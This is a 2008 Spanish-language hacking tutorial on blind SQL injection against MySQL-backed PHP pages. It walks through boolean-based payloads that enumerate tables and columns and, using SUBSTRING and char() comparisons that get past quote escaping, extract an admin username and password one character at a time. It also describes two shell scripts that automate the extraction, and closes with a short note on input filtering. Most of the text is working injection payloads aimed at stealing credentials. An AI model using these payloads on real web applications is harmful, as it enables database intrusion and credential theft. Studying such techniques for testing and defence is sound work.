=-|===============================================-{ www.enye-sec.org }-=====| =-[ MySQL - Blind SQL injection ]-============-{ www.enye-sec.org/pepelux }-=| =-|==========================================================================| =-[ por Pepelux ]-====================-[ 10/04/2008]-=| ------[ 0.- Indice ] 0.- Indice 1.- Introduccion 2.- Blind SQL en servidores MySQL 3.- Herramientas 3.1.- sqlcheck.sh 3.2.- sqldata.sh 4.- Despedida ------[ 1.- Introduccion ] Hay mucha documentacion acerca de como inyectar codigo SQL en servidores MS-SQL Server de Microsoft, usados habitualmente con paginas ASP y, que muestran el codigo de error por pantalla, permitiendonos mediante comandos UNION, HAVING, GROUP BY y demas, destripar la estructura entera de una base de datos asi como extraer, armados de paciencia, todos los datos. Algunos textos muy interesantes sobre este tipo de ataques los puedes ver aqui: Texto: Advanced SQL Injection URL: http://www.ngssoftware.com/papers/advanced_sql_injection.pdf Texto: More Advanced SQL Injection URL: http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf Tambien hay un texto muy interesante sobre ataques ciegos sobre MS-SQL Server cuando no se muestran los errores por pantalla, no como en los casos anteriores, en los que si que los veiamos: Texto: Blind SQL Injection URL: http://www.spidynamic.com/assets/documents/Blind_SQLInjection.pdf ------[ 2.- Blind SQL en servidores MySQL ] Lo que voy a explicar aqui es como realizar ataques ciegos sobre servidores MySQL, que se realizan de manera muy diferente al MS-SQL Server, explicado en el texto que he enlazado arriba. Supongamos que tenemos la siguiente tabla: usuarios (id int, user char(20), pass char(20), nombre char(100)) id user pass nombre 1 admin g00d Administrador 2 pepelux pepelux123 Pepelux - eNYe-Sec Y que tenemos una web a la que pasandole el ID nos muestra en pantalla el nombre del usuario: Entrada: http://www.miweb.com/verdatos.php?id=2 Salida: Nombre: Pepelux Suponemos que el codigo a ejecutar en esta pagina sera algo asi: SELECT nombre FROM usuarios WHERE id=$id Por lo que si escribimos: http://www.miweb.com/verdatos?id=2 AND 1=1 deberiamos obtener el mismo resultado: Nombre: Pepelux Sin embargo, escribiendo: http://www.miweb.com/verdatos?id=2 AND 1=2 el resultado seria: Nombre: Y esto, por que? Pues en el primer caso la condicion se cumple y se obtiene el resultado: Pepelux SELECT nombre FROM usuarios WHERE id=2 AND 1=1 En el segundo caso la condicion NO se cumple y no se obtiene ningun resultado: SELECT nombre FROM usuarios WHERE id=2 AND 1=2 Y esto, para que nos sirve? pues para poder determinar, mediante condiciones, si ciertas sentencias son verdaderas o falsas, es decir, si probamos algo asi: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM prueba) > 0 En este caso NO aparecera el nombre Pepelux en el resutado ya que la sentencia no es correcta, dado que no existe ninguna tabla llamada prueba. Pero si probaramos esta otra sentencia, SI que nos apareceria en la web Nombre: Pepelux al cumplirse la condicion: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios) > 0 Si os fijais, la segunda condicion es (SELECT Count(*) FROM usuarios) > 0 que en este caso daria verdadero ya que 2>0 (Count(*)=2) ... por tanto, la condicion se cumple y nos mostraria el nombre Pepelux en pantalla. Esta claro, no? son dos condiciones unidas con un AND. La primera siempre se cumple ya que es la que habia en la web para mostrarnos el nombre segun ese ID. Y la segunda es la que nosotros escribimos para realizar nuestras comprobaciones. Si todo funciona con normalidad y nos aparece en pantalla el resultado esperado, es que la segunda condicion se ha cumplido y, por tanto, podemos asegurar que lo que hemos probado es correcto. Si por el contrario no sale por pantalla el resultado esperado, la segunda sentencia es falsa. Una vez aclarado esto, y viendo que ya hemos obtenido que existe una tabla llamada usuarios (ha sido un ataque ciego), vamos a intentar sacar el numero de campos de esta tabla. Debajo de la sentencia ire escribiendo TRUE o FALSE en funcion de si el resultado es o no correcto, por no repetir tanto lo de nombre: Pepelux. SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios) > 0 TRUE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios) > 5 FALSE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios) = 2 TRUE Con esto hemos deducido que la tabla usuarios tiene 2 registros (2 usuarios). Como ya he dicho, esto es un ataque ciego y se realiza por intuicion. Del mismo modo que hemos obtenido el nombre de la tabla vamos a ver si podemos averiguar los campos de esta: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(login) FROM usuarios) > 0 FALSE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(user) FROM usuarios) > 0 TRUE El primer caso nos dio falso porque NO existe ninguna columna login y el segundo nos dio verdadero dado que SI que existe una columna llamada user. Y ya echando algo mas de imaginacion podemos tratar de averiguar los datos de los campos. Pero antes una prueba: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE user LIKE '%') > 0 FALSE Que ha ocurrido aqui? se supone que esa sentencia deberia dar verdadero pero no es asi. Y esto es debido a que el servidor parsea las comillas. Por tanto, lo que realmente obtiene seria algo asi: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE user LIKE \'%\') > 0 En este caso no podemos usar comillas en la sentencia SQL por lo que hay que recurrir a otras tecnicas. Vamos a probar con lo siguiente: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97)) > 0 TRUE Parece que funciona :) ... lo que hemos hecho es solicitar aquellos usuarios cuyo primer caracter sea una a ... en ASCII seria char(97) Para averiguar el nombre completo iriamos concatenando mas sentencias: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100)) > 0 TRUE Esto quiere decir que hay un usuario que su user comienza por ad. Para averiguar el tamaņo del campo podemos usar la sentencia: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(user) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100)) > 0 TRUE En este caso nos da verdadero porque la longitud del user en cuestion, es 5 y, 5>0. Pero hay que tener cuidado al usar esta sentencia ya que si hubiera mas de un usuario que comienza por ad, el resultado seria un error de SQL, al haber mas de un campo y, como no vemos el error por pantalla, para nosotros seria un false y podriamos despistarnos un poco. Por tanto, si el resultado es verdadero podremos ir afinando hasta obtener el tamaņo exacto, pero si el resultado es falso, debemos seguir sacando caracteres hasta que solo haya un resultado. En este caso sabemos que es 5: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(user) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100)) > 3 TRUE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(user) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100)) > 5 FALSE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(user) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100)) = 5 TRUE Tras varias pruebas y conociendo la longitud comprobaremos que hay un usuario llamado admin: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110)) >0 TRUE En lugar de buscar exactamente el valor del ASCII, tambien podemos acotar el resultado, por ejemplo: SUBSTRING(user,1,1)>char(100) Del mismo modo que con el user, hacemos con la contraseņa. Primero buscamos el nombre del campo y luego, concatenando al resultado anterior, sacamos la contraseņa del usuario admin: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(pass) FROM usuarios) > 0 TRUE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(pass) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110)) >0 TRUE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(pass) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110)) >5 FALSE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(pass) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110)) =5 FALSE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Length(pass) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110)) =4 TRUE Ya tenemos que la contraseņa del usuario admin tiene una longitud de 4 caracteres. Para averiguarla: SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110) AND SUBSTRING(pass,1,1)=char(103) AND SUBSTRING(pass,2,1)=char(48)) >0 TRUE SELECT nombre FROM usuarios WHERE id=2 AND (SELECT Count(*) FROM usuarios WHERE SUBSTRING(user,1,1)=char(97) AND SUBSTRING(user,2,1)=char(100) AND SUBSTRING(user,3,1)=char(109) AND SUBSTRING(user,4,1)=char(105) AND SUBSTRING(user,5,1)=char(110) AND SUBSTRING(pass,1,1)=char(103) AND SUBSTRING(pass,2,1)=char(48) AND SUBSTRING(pass,3,1)=char(48) AND SUBSTRING(pass,4,1)=char(100)) >0 TRUE Y obtenemos que la contraseņa del usuario admin es g00d. ------[ 3.- Herramientas ] Como este trabajo es muy laborioso de realizar manualmente, he implementado dos scripts que agilizan bastante la labor. cada uno de ellos realiza una funcion diferente. Estas herramientas estan programadas en shell-script para linux y las podeis descargar de la web de eNYe. Tengo que decir que no estan muy optimizadas dado que las hice en un par de dias y como algo para uso personal, por lo que si alguien las mejora, no estaria mal que me las pasara y asi publicamos los cambios :) ------[ 3.1.- sqlcheck.sh ] Este script, pasandole la ruta de la URL vulnerable, es capaz de obtener algunos datos del mysql como la version, el nombre de la base de datos, el usuario con el que estamos conectados, etc. Ademas, mendiante fuerza bruta, busca los nombres de las tablas y de los campos de la base de datos. En el mismo fichero hay una descripcion mas detallada de como usarlo. ------[ 3.2.- sqldata.sh ] Este script, pasando la ruta vulnerable y el nombre de la tabla y el campo (previamente obtenidos con el otro script, es capaz de extraer datos de la base de datos (usuarios, contraseņas, etc). Editando el script tambien vereis una descripcion mas detallada de su forma de uso. ------[ 4.- Despedida ] Como siempre, la solucion esta en el parseo de todos los campos que se envian a traves de GET o POST. Restringiendo el tamaņo y eliminando todos los caracteres que no sean A-Z, a-z o 0-9. Espero que os haya servido este texto. Cualquier duda o consulta, podeis escribir a pepelux@enye-sec.org Saludos. -= Pepelux =- =-|================================================================ EOF =====|